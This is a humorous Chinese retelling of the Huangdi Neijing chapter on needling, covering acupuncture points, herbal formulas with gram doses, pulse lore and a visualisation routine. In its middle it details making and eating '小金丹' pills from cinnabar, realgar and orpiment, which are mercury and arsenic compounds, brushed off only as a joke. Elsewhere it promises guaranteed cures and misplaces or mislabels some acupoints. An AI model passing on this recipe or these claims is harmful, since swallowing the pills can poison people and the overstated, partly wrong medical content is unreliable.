“第四法，对付的是‘水疫’，就像是身体里积了一滩水，湿气重得能养鱼。这时候咱们得找‘阴陵泉’，在小腿内侧，一针下去，就像是开了排水阀，湿气哗啦啦地往外排，整个人都清爽了！想想看，夏天吃冰淇淋吃多了，肚子不舒服，这时候一针‘阴陵泉’，保证你又能愉快地吃吃喝喝了！” “最后，第五法，对付的是‘土疫’，就像是脾胃里堆了一堆土，消化不良，肚子胀得像个气球。这时候咱们得找‘足三里’，在小腿外侧，一针下去，就像是给脾胃装了个搅拌机，食物嗖嗖地就被消化了。这下子，再也不用担心吃撑了，吃货们的福音啊！” “好啦好啦，说了这么多，其实就是想告诉大家，咱们中医的针灸大法，那可是相当的神奇！不过呢，这可不是一朝一夕就能学会的，得慢慢积累，勤学苦练。就像是打游戏，想要成为高手，除了天赋异禀，还得不断练级，打怪升级，才能解锁更多技能嘛！所以呀，小伙伴们，要是觉得自己身体有点不对劲儿，记得去找专业的中医大夫，让他们给你‘扎一针’，保证你药到病除，生龙活虎！” “最后，再给大家来点干货，这五套装备啊，其实还可以配合一些中药方剂来加强效果。比如对付火疫，可以喝点‘金银花露’，就是金银花加水煮一煮，清热解毒；对付金疫呢，来点‘川贝枇杷膏’，润肺止咳；木疫嘛，试试‘逍遥丸’，疏肝解郁；水疫呢，‘薏米红豆粥’最佳，祛湿利尿；土疫的话，‘健脾丸’是不错的选择，健脾消食。这些方子啊，都是古人智慧的结晶，简单又实用，记得按说明书的剂量来哦，别把自己当药罐子啦！” 黄帝说：“嘿，我听说啊，这五疫一来，简直就是传染小能手，不管你是大人小孩，症状都差不多，要是不赶紧想办法，怎么才能不被它们传染得跟串糖葫芦似的呢？” 岐伯一听，慢悠悠地来了句：“想 不被传染啊，关键得靠正气满满，邪气自然就靠边站了。再加上避开那些毒气，就像是躲猫猫一样，别让它们找到你。你知道吗？咱们身体有个秘密通道，叫做‘天牝’，毒气都是从那儿来的，但要是你能让它来了又去，就像快递小哥送完货就走，不留痕迹，那就安全啦！特别是啊，你得学会用气，让这股气从你的头顶冲出去，邪气就根本近不了身。 来来来，我给你传授一套‘五行护体大法’，保证你进了疫区也能安然无恙。首先啊，你得闭上眼睛，想象自己心里有个小太阳，暖暖的，亮堂堂的，这是第一步，叫做‘心如日’，给自己加个心理buff！ 接着，想象一股青色的气体从你的肝经（现代穴位可以理解为太冲穴附近）慢悠悠地飘出来，它往东边走，一边走一边变魔术，变成了郁郁葱葱的树木，保护你免受东方邪气的侵扰。这青气代表的是木，对应肝，养肝护肝，从我做起！ 然后呢，再来一股白色的气体，从肺经（现代穴位大约是云门穴附近）出发，向西行进，一路上它变成了银光闪闪的盔甲，守护着你的呼吸系统，让西方的病毒都绕道走。白气属金，对应肺，让你的肺活量比鲸鱼还大！ 接下来，轮到心啦！想象一股红色的气体从心经（现代穴位比如极泉穴附近）喷薄而出，它往南飞，越飞越高，最后变成一团熊熊燃烧的火焰，照亮你的内心世界，也烧光那些想靠近你的病毒。红气属火，对应心，让你的热情比火锅还热！ 别急，还有肾呢！一股黑色的气体从肾经（现代穴位比如涌泉穴附近）悄悄溜出，它往北潜行，最终化作深邃的海洋，滋养着你的生命力，让北方的寒气都冻不住你。黑气属水，对应肾，让你的肾比千年寒冰还强韧！ 最后，轮到脾啦！一股黄色的气体从脾经（现代穴位比如太白穴附近）悠悠升起，它稳稳地停在你的中央，化作肥沃的土地，滋养着你的全身。黄气属土，对应脾，让你的消化系统比搅拌机还厉害！ 五行护体完毕，别忘了最后一步，想象你的头顶上方挂着一盏北斗七星灯，闪闪发光，照亮你的前程，也驱散所有的阴霾。这样，你就可以放心大胆地走进疫区啦！ 不过啊，我得提醒你，这虽然听起来像是武侠小说里的秘籍，但其实背后蕴含的是中医的养生智慧。正气内存，邪不可干，保持良好的生活习惯，锻炼身体，合理饮食，比什么都重要。 说到锻炼身体，我给你推荐个‘五行健身操’吧！早上起来，先对着镜子做几个深呼吸，想象自己在吸收天地精华，然后扭扭腰，转转脖子，活动活动四肢，就像是树木在微风中摇曳，这就是木行的运动啦！ 接着，来几个扩胸运动，深呼吸，让肺部充分张开，想象自己变成了超级英雄，披风随风飘扬，这就是金行的运动啦！ 然后，跳绳或者跑步，让心跳飙升，热血沸腾，就像是一团燃烧的火焰，照亮你的世界，这就是火行的运动啦！ 再来几个深蹲，或者蛙跳，让下肢力量爆发，想象自己变成了一头强壮的公牛，在水田里奔腾，这就是水行的运动啦！ 最后，做做瑜伽或者太极，让全身放松，气息平和，就像大地一样沉稳，这就是土行的运动啦！ 怎么样，是不是既有趣又实用？记住哦，养生不是一朝一夕的事，要持之以恒，才能像神仙一样长生不老（虽然有点夸张，但意思你懂的吧）！ 至于脉象嘛，咱们就不细究了，毕竟这不是一朝一夕能学会的。不过呢，我可以告诉你一个简单的方法来判断自己是否健康。每天早上醒来，先别急着起床，躺在床上，静下心来，感受一下自己的心跳和呼吸，如果它们都是平稳而有节奏的，那就说明你的身体还不错，可以继续修炼咱们的‘五行大法’啦！ 岐伯又说道：咱们再说说第一个方法——春分日出前“吐故纳新大法”。想象一下，春分那天，天还没亮，你揉着惺忪的睡眼，跑到户外（记得穿暖和点，别冻感冒了哈），深吸一口气，然后……不是让你真的吐出来啊，是来个深呼吸，感受大自然的清新空气，把体内的浊气给“吐”出去，来个全身大扫除！这可是古人认为的净化身心的好方法 呢。虽然听起来有点玄乎，但咱们可以理解为，就是让你早起吸吸氧，精神一整天嘛！ 接下来，咱们进入第二个环节——“雨水日药浴发汗大法”。雨水节气一过，嘿，你就得准备个大木桶，里面放上特制药水（具体啥药？别急，后面说），然后泡进去，泡到满头大汗，那叫一个痛快！这药水可不是随便弄的，得有点讲究。不过咱们现在不讲那么复杂，就想象成是加了点艾草、薄荷啥的，既能驱寒又能提神醒脑。泡完澡，整个人都焕然一新，仿佛脱胎换骨了一般，走在街上都能吸引回头率呢！ 重头戏来了，咱们聊聊“小金丹”的制作过程，这可是个技术活，得拿出点看家本领来！首先，你得准备好材料：辰砂（现代叫硫化汞，不过咱们自己做还是别了，安全第一），这里咱们换算成现代的重量，大约100克；水磨雄黄（就是黄色的硫化砷），来个50克；叶子雌黄（这个比较少见，咱们就不深究了，可以理解为另一种硫化物），也是50克；再加上紫金（这玩意儿现在可是宝贝，咱们用现代材料替代想象一下），大约25克。把这些宝贝一股脑儿放进一个密封容器里，记住，得找个结实的，别到时候炸了锅！ 然后，找个空旷的地方，挖个坑，把这容器埋进去，离地一米深，夯实土壤，保证它稳稳当当的。接下来，别急着生火，咱们这可是无炉无药的炼丹大法！直接找来大约10公斤的柴火，围着那坑一顿猛烧，烧它个七天七夜，中间别偷懒，得时刻盯着，别真的把家给烧没了哈！ 七天过后，等火灭了，冷却七天，再小心翼翼地挖出来。这时候，打开容器，你会发现里面的材料已经发生了神奇的变化。别急，再晾它七天，让这股子神秘力量充分酝酿。然后，拿出来细细研磨三天，这耐心，简直可以媲美工匠精神了！ 接下来，咱们要炼蜜为丸。取些纯净的白砂糖蜜，加热至粘稠，然后把研磨好的药粉加进去，搓成一个个像梧桐子那么大的小丸子。每天清晨，面朝东方，深吸一口气，想象自己正在吸收太阳的精华（其实就是享受一下清晨的清新空气），然后拿出一颗小金丹，用冰水送服（这里冰水主要是为了让药丸更容易滑下去，别噎着了）。记得，要心平气和地咽下去，别跟吃糖豆似的狼吞虎咽。吃上十颗，据说就能远离疾病，身体倍儿棒！ 当然啦，以上这些方法，咱们听听笑笑就好，毕竟现代科学已经证明了很多健康养生的新方法，比如均衡饮食、适量运动、充足睡眠等等。不过，偶尔回味一下古人的智慧，也不失为一种乐趣嘛！说不定哪天，你也能创造出属于自己的“养生大法”，成为朋友圈里的养生小达人呢！ 刺法论篇第七十二（九） 话说有一天，黄帝老人家闲着无聊，就开始琢磨起人体健康的奥秘来。他摸了摸下巴上的长胡子，自言自语道：“哎，你说这人要是身体虚了，灵魂是不是就会到处乱逛，然后就被那些看不见的鬼神给盯上，最后就英年早逝了呢？这可咋整，咱们得想个法子保全人的真元啊！岐伯啊岐伯，快来给朕解答一下，最好再教几招刺穴大法，让朕也威风威风！” 岐伯一听，连忙放下手中的草药，恭敬地行了个大礼，说道：“哎呀，陛下您这问题问得真是太有水平了！简直就是灵魂拷问啊！没错，要是人的灵魂真的跑丢了，虽然身体还在那儿，但没了灵魂，人也就跟行尸走肉差不多了。不过呢，这事儿也不是绝对的，要是再被外邪一捣乱，那可就真的芭比q了，短命鬼就这么诞生了。” 黄帝一听，眼睛一亮，连忙催促道：“快快快，接着说，朕爱听！比如那个厥阴经要是守不住，人会咋样？又该怎么刺穴呢？” 岐伯清了清嗓子，开始娓娓道来：“陛下您听好了啊！要是厥阴经这个大门没看好，天上的邪气就会趁机而入，再加上人体自身的肝气也虚，这就叫‘天虚人更虚’，简直就是雪上加霜啊！这时候，人的灵魂就会像断了线的风筝一样，飞到天上去游荡了。邪气再一捣乱，人的大气（可不是咱们说的那个大气层哦，是中医里的一个重要概念）可就乱了套了。” 黄帝一听，吓得胡子都抖了三抖，连忙问道：“那可咋办？赶紧给朕支支招啊！” 岐伯笑了笑，说道：“陛下别急，我这不正要说嘛！这时候啊，咱们就得用刺穴大法来救场了。首先呢，得找到足少阳胆经经过的地方，给它来上一针，让它醒醒神，别再迷迷糊糊的了。然后呢，再刺一下肝的俞穴，也就是现在的太冲穴，给它补补元气，让它重新振作起来。” 黄帝一听，喜出望外，说道：“哎呀，岐伯啊岐伯，你可真是朕的福星啊！快说说，这刺穴大法具体咋操作啊？朕也想学学！” 岐伯一看黄帝这么有兴趣，就详细地讲解起来：“陛下您看好了啊！这足少阳胆经呢，它就像一条大河一样，流经咱们身体的很多地方。咱们要找的这个地方呢，就是它流经小腿外侧的那个‘阳辅穴’。您拿根银针，对着这个穴位轻轻一刺，然后稍微捻转一下，让它得气（就是感觉到针下有酸胀感）就行了。至于那个太冲穴嘛，它就在脚背上，第一、二趾骨结合部之前凹陷处。您也是同样拿根银针，对着它轻轻一刺，然后稍微提插一下，也是让它得气。” 黄帝一听，眼睛瞪得圆圆的，说道：“哎呀妈呀，这听起来好简单啊！不过岐伯啊，你这银针是从哪儿来的啊？朕怎么没见过？” 岐伯笑了笑，说道：“陛下啊，这银针可是咱们中医的宝贝啊！它可是用纯银打造的，又细又长，专门用来刺穴的。您要是喜欢的话，我可以让人给您打制几根，让您也过过瘾！” 黄帝一听，高兴得合不拢嘴，说道：“好啊好啊！朕也要学学这刺穴大法，以后要是有个头疼脑热的，朕自己就能给自己治病了！” 岐伯一听，连忙提醒道：“陛下啊，这刺穴大法可不是闹着玩的啊！它可是需要一定的火候和技巧的。您要是想学的话，可得先跟臣学个几年，等火候到了，自然就能得心应手了。” 黄帝一听，点了点头，说道：“对对对！岐伯你说得对！这事儿可不能急！那朕就先跟着你学学理论吧！等理论学扎实了，再动手实践也不迟！” 于是呢，黄帝就开始跟着岐伯学起了中医理论。他每天都听得津津有味，时不时地还跟岐伯讨论几句。岐伯呢，也是耐心地解答着黄帝的每一个问题。就这样，黄帝的中医水平也是日渐提高。 有一天呢，黄帝又想起了那个神游失守的问题，就问道：“岐伯啊，你 说这神游失守的人啊，他们的脉象会咋样呢？” 岐伯一听，想了想说道：“陛下啊，这神游失守的人啊，他们的脉象通常都是比较乱的。比如那个厥阴经失守的人吧，他们的脉象就会呈现出一种弦细而涩的感觉。就像是一条被风吹得乱糟糟的绳子一样，既没有规律也没有力量。” 黄帝问岐伯：“嘿，老岐啊，你说这人心虚是个啥情况？要是再赶上什么君相二火司天失守，那可咋整？”岐伯一听，哈哈一笑，说：“这事儿啊，得从头捋捋。” 咱们先说说这“心虚”吧。可不是说某人心里不踏实，而是指心脏功能有点儿“虚”，就像手机电量不足，随时可能关机一样。心脏啊，那可是咱们身体的发动机，得好好保养。 再来说说这“君相二火司天失守”。听起来挺高大上的，其实啊，就是天上的火候没掌握好，该热的时候不热，不该热的时候又热过头了。这事儿跟咱们地球人有啥关系呢？嘿，关系大了去了！中医讲究天人合一，天上的火候一变，咱们身体里的火候也得跟着调整，不然就容易出问题。 比如说吧，这君相二火司天失守，赶上你心虚，那可就是“三虚”了。啥是三虚？就是身体虚弱、心理虚弱再加上天时不利，三管齐下，你说能不倒霉吗？ 更倒霉的是，要是再赶上“火不及”，也就是火候不够，那可就热闹了。这时候啊，黑尸鬼——当然了，这不是说真的有鬼，而是指一种不好的气场或者病毒啥的——就会趁机而入，让你突然之间就“暴亡”了。这可不是闹着玩的！ 不过呢，岐伯毕竟是岐伯，他老人家早就有了对策。他说：“这事儿啊，得靠针灸来解决。”针灸？听起来好像挺疼的，但岐伯可是高手，他扎针就像绣花一样，既准又轻。 他说：“先刺手少阳之所过。”手少阳啊，就是咱们现在说的三焦经。这条经络啊，就像咱们身体的“大通道”，啥气都从这里过。岐伯的意思是，把这条经络疏通一下，让身体里的气儿顺畅起来，这样病毒就不容易入侵了。 不过呢，光疏通经络还不够，还得“复刺心俞”。心俞啊，就是咱们后背上的一个穴位，跟心脏关系特别铁。刺这个穴位啊，就像给心脏加油打气一样，让它重新振作起来。 咱们继续说说这岐伯的方子吧。用当归15克、红枣15克、柏子仁10克、酸枣仁10克、远志5克、茯苓10克……哎呀，这些药材啊，都是养心安神的好东西！把它们放在一起煮成汤，每天喝上一碗，保管你心旷神怡、精神百倍！ 再来说说这脉象吧。中医看病啊，除了看症状、问病史之外，最重要的就是看脉象了。脉象啊，就像咱们身体的“晴雨表”，啥病都能在上面反映出来。 比如说吧，这心虚的人啊，脉象通常都比较“细弱”。就像一根细线一样，若有若无的。你要是懂点脉象的话，一摸就能摸出来。 岐伯悠悠地说：“陛下，你知道吗？要是有人脾胃不好，偏偏又赶上了天上那个管事儿的太阴星君（咱们可以理解为天气的一种特殊状态，中医里叫‘司天’）没好好值班，乱了套，这就叫‘司天失守’。这一下子，人的身体可就三虚了——本身虚，天时不对又虚，再加上可能心情也不好，三虚合一，简直就是‘虚弱三联征’啊！” “然后呢，更巧的是，今年土元素（中医五行里的概念，代表脾胃）还特别弱，这就好比土壤贫瘠，庄稼长不好。这时候，有个叫‘青尸鬼邪’的家伙（别害怕，这是中医里对某种病邪的形象比喻）就趁机溜进来，专门找这种身体虚弱的人下手，一不留神，人可能就‘嗖’地一下，没了！是不是很惊悚？” 但是，岐伯说了，“别怕，咱们有招儿！”他接着说，“这时候，你得赶紧拿出针灸大法，首先，找到足阳明胃经 上的那些穴位，就像给胃这条‘疲惫的河’注入一股清泉。现代穴位名儿啊，咱们就叫它‘足三里’、‘梁丘’这些，听着就正能量满满，对吧？扎一针下去，就像是给胃开了个小灶，让它立马精神起来！” “接着，咱们还得再扎扎脾的俞穴，也就是现代的‘脾俞’穴，这可是脾胃的‘私人助理’，给它来个深度按摩，让它好好监督脾胃工作，别再偷懒了。这一顿操作下来，就像是给身体请了个‘超级英雄’，专治各种不服！” 说到这里，你是不是已经迫不及待想知道这些穴位到底怎么找了？别急，我这就给你简单科普一下，保证你也能成为半个“针灸小达人”。 - **足三里**：这个穴位啊，在小腿外侧，膝盖骨下面大约三个手指头的位置，找到后用力按一按，酸酸胀胀的，那就是它了。这可是个万能穴，胃痛、腹胀、消化不良，一针下去，立马见效！ - **梁丘**：还是在小腿上，不过这次是在膝盖上方两寸的地方，也是治疗胃痛的好手，特别是那种突然袭来的剧痛，扎它没错！ - **脾俞**：这个得在背上找了，大概和肩胛骨下角平齐，往脊柱方向移两指宽的地方，找个懂行的朋友或者去专业机构，让他们帮你找找，毕竟背上的穴位，自己操作起来还是有点难度的。 至于方剂嘛，岐伯肯定也会告诉你，调理脾胃，食疗也很重要。比如，来个“四君子汤”怎么样？这可是健脾益气的经典方剂，简单四味药：人参（现代常用党参代替，大约10克）、白术（10克）、茯苓（10克）、甘草（6克），放在一起煮水喝，就像是给脾胃泡了个温泉，温补又舒适。 讲到这里，脉象咱也得提一提，脾胃不好的人，脉象往往偏沉、偏弱，就像是没吃饱饭的小猫咪，软绵绵的。调理后，如果脉象变得有力、有节奏，那就说明咱们的“针灸+食疗”大法奏效了，脾胃正在慢慢恢复元气呢！ 岐伯再次说道：“陛下，你知道吗？要是人的肺部出了问题，再碰上阳明司天（古代中医术语，简单理解为某段时间的天时气候）没守好岗位，就像是肺部的守护神打了个盹儿，这时候，人的身体就会变得特别脆弱，三虚（也就是身体的三重防线都弱了）状态，简直就是给‘捣蛋鬼’们开了绿灯。” “更糟糕的是，如果这时候再遇上五行中的金元素不够旺盛（在中医里，肺属金），那就相当于肺部的能量库告急，这时候，有个叫‘赤尸鬼’的家伙就会趁机捣乱，悄悄溜进人体，让人突然之间就倒下了，这可真是‘说走就走’的旅行啊！” 听到这里，你是不是已经吓得后背发凉，心里嘀咕：“这赤尸鬼也太恐怖了吧？”别急，岐伯可是给出了解决办法的。 岐伯说：“遇到这种情况，咱们可以拿起‘银针宝剑’，对着手阳明经上的穴位一顿‘挥舞’。这手阳明经啊，在现代穴位里，就是咱们手上的大肠经，你可以想象成是肺部的‘好哥们儿’，给它加强一下力量，肺部就有救了。” “具体怎么操作呢？你得找到大肠经上的‘合谷穴’（就在手背，第一、二掌骨间，第二掌骨桡侧的中点处），还有‘曲池穴’（在肘横纹外侧端，屈肘，当尺泽与肱骨外上髁连线中点），对着这两个穴位，‘嗖嗖嗖’扎上几针，就像是给肺部发送了紧急救援信号。” “但是，光这样还不够，咱们还得再扎一针‘肺俞穴’，这可是肺部的直接‘保镖’，位于背部第三胸椎棘突下，旁开1.5寸（差不多是两个手指并拢的宽度）。这一针下去，就像是给肺部穿上了一层‘防弹衣’，让那些‘捣蛋鬼’无处遁形。” 说到这里，你是不是已经迫不及待想要试试这些“银针宝剑”了？别急，岐伯的智慧可不止于此。 想象一下， 如果肺部真的遇到了“大麻烦”，除了针灸，咱们是不是还得来点“内部调理”？这时候，一剂药方就像是给身体送来的“超级英雄”，帮助肺部打败那些“捣蛋鬼”。 比如，咱们可以用点润肺的百合、养阴的麦冬、清热的金银花，再来点增强免疫力的黄芪和甘草调和药性。 换算成现代剂量，大概就是：百合15克、麦冬10克、金银花10克、黄芪20克、甘草5克。把这些药材放到一起，加水煮沸，小火炖上个半小时，一碗“肺部守护汤”就完成了。喝下去之后，感觉整个人都充满了力量，就像是肺部有了自己的“超级战队”。 当然啦，说到脉象，这可是中医诊断的“独门秘籍”。岐伯告诉我们，肺部有问题的时候，脉象往往会显得“虚弱无力”，就像是肺部在向我们求救：“嘿，哥们儿，我撑不住了！” 这时候，咱们就得仔细感受脉象的变化，如果脉象又细又弱，还带点急促，那就像是肺部在说：“快点，我需要帮助！”这时候，你就得赶紧采取行动了，无论是针灸还是喝药汤，都得赶紧安排上。 不过，话说回来，咱们平时还是得好好保养肺部，别等到“赤尸鬼”找上门来才后悔莫及。比如，少抽点烟，多呼吸新鲜空气，多吃点润肺的食物，像是雪梨、银耳之类的，这些都是肺部的好伙伴。 刺法论篇第七十二（十） 岐伯又说道，如果一个人肾脏本来就不太好，这就好比是家里的保险箱密码忘了一半，安全性大打折扣。然后呢，偏偏又赶上太阳这位“老天爷”司天的时候没守好岗，失职了，这就好比是小区的保安打了个盹儿，小偷就有机可乘了。这时候，人的身体就处于“三虚”状态，就像是手机电量、钱包余额、还有心情指数同时亮红灯，你说惨不惨？ 更绝的是，这一年水运还不给力，水不够，河都快干了，这在中医里叫“水运不及”。这时候，有个叫“黄尸鬼”的家伙就趁机出来捣乱，它不是真的鬼哦，是中医里的一种说法，代表了一种不好的气场或者病毒之类的。这家伙专门挑人正气弱的时候下手，一吸走你的神魂，嘿，你就直接“领盒饭”了，也就是突然暴亡。这可真是“屋漏偏逢连夜雨，肾病又遇黄尸鬼”啊！ 不过岐伯说了，别怕，咱们有招儿！他建议啊，先刺足太阳经上的一些穴位。在现代医学里，足太阳经对应的就是膀胱经啦。想象一下，膀胱经就像是家里的排水系统，如果堵了，那不得乱套嘛！所以，咱们得给它疏通疏通。具体穴位呢，比如膀胱经的委中穴、昆仑穴，这些都是“疏通小能手”。你拿着针轻轻一刺（当然啦，得专业人士来操作哈），就好比是给排水系统做了一次深度清洁，瞬间感觉整个人都通畅了！ 然后，还得再刺肾俞穴。肾俞穴啊，那可是肾脏的“小秘书”，专门负责记录肾脏的工作状态和传达指令的。你刺激它一下，就像是给肾脏发了个加油打气的短信：“嘿，哥们儿，挺住啊，我来给你助威了！”这样一来，肾脏就能感受到你的关爱，说不定就“满血复活”了呢！ 不过啊，咱们现代人可没那么容易就接受针灸，毕竟谁也不想无缘无故在身上扎几个洞洞。但是呢，岐伯的智慧可是能灵活运用的。比如啊，我们可以通过按摩这些穴位来达到类似的效果。每天晚上睡觉前，自己给自己来个“马杀鸡”，从委中穴一路按到昆仑穴，再从肾俞穴来个深度揉捏，那感觉，简直比做了个spa还爽！ 当然啦，岐伯肯定不会只靠针灸这一招。他老人家还讲究“食疗”，也就是通过吃来调养身体。 首先，咱们得有点儿黑色食物，因为黑色入肾嘛，比如黑芝麻、黑豆、黑木耳这些。然后呢，再来点儿枸杞，枸杞可是补肾的明星食材哦！再来点儿羊肉，羊肉温补，对肾脏也是极好的。最后呢，加点儿当归和黄芪，这两味中药可是调理气血的好帮手，气血足了，肾脏自然就有劲儿了！ 把这些食材一股脑儿扔进锅里，炖它个几个小时，等到香气四溢的时候，一碗热腾腾的“补肾神汤”就出炉啦！喝上一碗，保证你第二天精神抖擞，肾脏都仿佛在向你道谢呢！ 不过啊，说到脉象，岐伯可是个高手。他能够通过摸脉来判断一个人的身体状况。脉象啊，就像是人的“心情指数表”，有时候快得像在飙车，有时候慢得像在散步，有时候还跳得乱七八糟，像是在跳广场舞。 比如啊，如果你肾脏有问题，脉象可能就显得比较“虚弱无力”，就像是病怏怏的小猫在慢慢爬。这时候啊，你就得注意了，得赶紧给自己的身体加加油了！ 黄帝这天心血来潮，突然发问：“嘿，岐伯，你说咱们人体这十二脏腑啊，它们之间是怎么互相打配合的呢？要是哪个脏腑的‘老大’——就是它们各自的神明，要是失职了，导致咱们的精神面貌不在线，整天跟丢了魂似的，还容易招灾惹病，这时候要是想靠针灸来调理，有没有什么独门秘籍啊？快给我说道说道！” 岐伯一听，连忙拱手作揖，一脸恭敬地说：“哎呀，陛下您这问题问得真是深刻啊！这简直就是探寻生命真谛的至高哲学嘛！要不是您这样的圣明君主，谁能深挖到这层境界呢？这事儿啊，说白了就是气与神得和谐共处，跟上天的法则完美契合，咱们才能活得有滋有味，健康长寿。” 黄帝一听，乐了：“哈哈，岐伯，你就别绕弯子了，赶紧上干货！我这急性子可等不了太久。” 岐伯清了清嗓子，开始了他的讲解：“好嘞，那咱就从这十二脏腑说起。想象一下，咱们的身体就像是一个大公司，每个脏腑都是不同的部门，比如心脏就是ceo，掌管大局，那‘神’呢，就好比是ceo的智囊团，得时刻保持清醒，不然公司就要乱套了。一旦这智囊团出了问题，咱们的精神状态就会大打折扣，这时候，咱们就得请出针灸这门‘高科技’来帮忙了。” “首先，咱们说说这针灸的奥秘。比如说，你要是觉得心里堵得慌，好像有一块大石头压着，那可能是心脏这位ceo压力山大，咱们就可以针灸‘内关穴’——就在手腕横纹上两寸，两根肌腱之间，轻轻一扎，嘿，立马感觉心情舒畅，仿佛跟大自然来了一场深度对话。” 黄帝听得津津有味：“哦？这么神奇？那其他脏腑呢？” 岐伯接着说：“比如说，你要是消化不良，老是觉得肚子胀得像个气球，那可能是脾胃这对搭档闹别扭了。这时候，咱们就得找‘足三里’穴，它位于小腿外侧，膝盖骨下方约三寸的地方。一针下去，保证你胃口大开，吃嘛嘛香，连隔壁小孩都馋哭了！” 黄帝笑得前仰后合：“哈哈，岐伯，你这比喻太逗了！那要是失眠呢？我这段时间晚上老是数星星，数到天亮都没睡着。” 岐伯笑道：“失眠这事儿，大多跟心神不宁有关。咱们得找‘神门穴’，就在手腕内侧，靠近小指那边的腕横纹上。轻轻揉按或者针灸，就像是给心神按了个摩，让它放松下来，自然就能睡个好觉了。不过，陛下啊，您也得注意，白天少操心，晚上才能安心做美梦嘛！” 黄帝点头称是，又问：“那要是遇到更复杂的病，比如邪气入侵，咱们怎么办？” 岐伯沉吟片刻：“这就得根据具体情况，辨证施治了。比如风寒感冒，咱们可以用‘麻黄汤’，这方子可不简单，麻黄9克，桂枝6克，杏仁9克，炙甘草3克，水煎服，喝完之后，保证你出一身汗，寒气全跑光。不过，记得哦，发汗别太猛，不然得虚脱的。” 黄帝听得目瞪口呆：“原来中药还能这么神奇！那脉象呢？我一直对脉象挺感兴趣的。” 岐伯来了精神：“脉象啊，那可是咱们中医的独门绝技！比如说，浮脉就像一根漂在水面的稻草，轻轻一按就能感觉到，这通常是外感风寒的表现。沉脉呢，就像潜水员深潜海底，得用力按才能摸到，这往往是里证、寒证的标志。滑脉嘛，就像滚动的珠子，往来流利，多见于食积、痰湿或者孕妇哦，陛下您可得小心别误诊了！” 岐伯悠悠地说了一句：“心者，君主之官，神明出焉，可刺手少阴之源。”这话听起来高深莫测，但别怕，咱们一步步来，把它翻译成现代文，再加点调料，让它变得既有趣又易懂。 首先，“心者，君主之官”，这句话的意思是说啊，心脏就像是咱们身体里的皇上，是老大，是主宰一切的存在。你想啊，心脏每天不辞辛劳地“砰砰砰”跳着，给全身送血，这不就是个超级大boss嘛！而且，它不仅仅是个“体力劳动者”，还是个“脑力劳动者”，因为“神明出焉”，这里的“神明”可以理解为精神、意识、智慧这些高级货，都是从心脏这里发出来的。所以，心脏不仅是生命的发动机，还是咱们思想的源泉，厉害吧！ 接下来，“可刺手少阴之源”，这句话听起来有点吓人，其实是在说治疗心脏相关疾病的一种方法——针灸。手少阴呢，是现代中医里的一个经络名称，对应的是手少阴心经。而“之源”，指的就是这条经络上的一个重要穴位——少冲穴。少冲穴在哪儿呢？就在咱们小指指甲的根角旁边一点点，用指甲掐一下，那叫一个酸爽，不过别担心，专业人士操作起来可是温柔得很。 想象一下，如果心脏这位“皇上”不舒服了，比如心悸、失眠、心痛啥的，咱们就可以请出针灸这位“御医”，轻轻一针扎在少冲穴上，就像是给心脏送上一杯温暖的“安神茶”，让它放松放松，恢复活力。当然啦，这可不是随便扎的，得找专业的中医大夫，不然扎错了地方，那可就得另说了，哈哈！ 不过，说到治疗，除了针灸，中医里还有一堆方剂呢，虽然这段话没提，但咱们不妨聊聊。比如说，有个着名的方子叫“天王补心丹”，听名字就霸气侧漏，专门用来滋补心脏，治疗那些因为心血不足导致的失眠、健忘、心悸啥的。这个方子啊，里面有当归、生地、天冬、麦冬这些滋阴补血的好东西，还有酸枣仁、柏子仁这些安神的小能手，再加上人参、茯苓这些补气健脾的，简直就是给心脏开的一场豪华盛宴！ 换算成现代的克数，大概是这样的：当归12克、生地18克、天冬12克、麦冬12克、酸枣仁9克、柏子仁9克、人参6克、茯苓12克，还有其他几味药，就不一一列举了，免得你们数手指头数得头疼。想象一下，把这些药材放在一起熬煮，那香气四溢，简直就是一碗碗的“心灵鸡汤”，喝下去，保证你心旷神怡，精神焕发！ 再来说说脉象吧，这可是中医的独门绝技。中医看病，讲究“望闻问切”，其中的“切”，主要就是切脉。心脏有问题，脉象上可是能反映出来的。比如说，如果心脏跳得太快，脉象就像是在跑马拉松，急促而有力，这可能就是心悸或者心动过速的征兆；如果跳得太慢，脉象就像是在悠闲地散步，慢悠悠的，那可能是心动过缓。还有啊，如果脉象忽快忽慢，就像是坐过山车，那可能是心律不齐。 岐伯说：“肺者，相傅之官，治节出焉。”这话听着就高端大气上档次，对吧？咱们得翻译成现代汉语，让它接地气点儿。想象一下，肺啊，就像是咱们身体里的国务院总理，哦不，是“相傅之官”，就是那个一人之下，万人之上的大佬！它负责啥？治节！说白了，就是管理、调节身体的各种大事小情，让一切井井有条。比如，你深吸一口气，再缓缓呼出，这就是肺在“治节”，让你感觉神清气爽，整个人都“活”了过来。 这章没有结束，请点击下一页继续阅读！但是，这位大佬要是累了，或者生气了（比如你老吸雾霾，或者老是生闷气），它就得给你点颜色瞧瞧了。这时候，怎么办呢？岐伯大神又说了：“可刺手太阴之源。”哎呀，这听起来好高大上，其实就是说，咱们得给肺“按摩按摩”，让它放松放松。 “手太阴之源”，翻译成现代汉语，那就是咱们手上的“太渊穴”。太渊穴在哪儿呢？就在手腕横纹那儿，你摸一摸，是不是能感觉到脉搏跳动？对，就是那个地方！这个穴位啊，就像是肺的一个小秘书，你按一按它，就能帮肺缓解压力，让它重新振作起来。 不过，别急着动手哦，咱们得讲究方法。首先，你得洗干净手，别带着一堆细菌病毒就去“骚扰”人家肺。然后，用你的大拇指，轻轻地、缓缓地按压太渊穴，每次按个几分钟，每天按几次，就像是在给肺做spa一样。坚持下去，你会发现，呼吸顺畅多了，整个人都精神了！ 当然啦，除了按摩穴位，咱们还得注意饮食、作息，毕竟，身体是革命的本钱嘛！说到吃，我得提个醒，那些油炸的、烧烤的、辣的，能少吃就少吃，它们可是肺的“天敌”。多吃点儿润肺的食物，比如雪梨、百合、银耳啥的，让肺也享受享受“高端定制”的待遇。 至于方剂嘛，咱们就不在这儿详细展开了，毕竟，每个人的体质都不一样，得找专业的中医大夫“量身定制”。不过，我可以告诉你一个小秘密：中医讲究“药食同源”，很多食物本身就有药用价值。比如，你咳嗽了，不妨煮点冰糖雪梨水喝喝，既美味又治病；感觉喉咙干痒，来点儿百合银耳羹，润喉又养颜。 说到脉象，这可是中医的“独门绝技”。岐伯大神那会儿，可没有心电图啥的，全靠一双手，就能摸出你身体里的“小秘密”。脉象啊，就像是身体的语言，它告诉你，你现在是“心平气和”，还是“怒火中烧”，或者是“心力交瘁”。 比如，肺脉要是“浮而散”，就像水面上漂着的浮萍，那就说明肺气不足了，得赶紧补补；要是“紧而急”，就像被啥东西追着跑，那就得小心了，可能是风寒侵袭，得赶紧驱寒保暖。 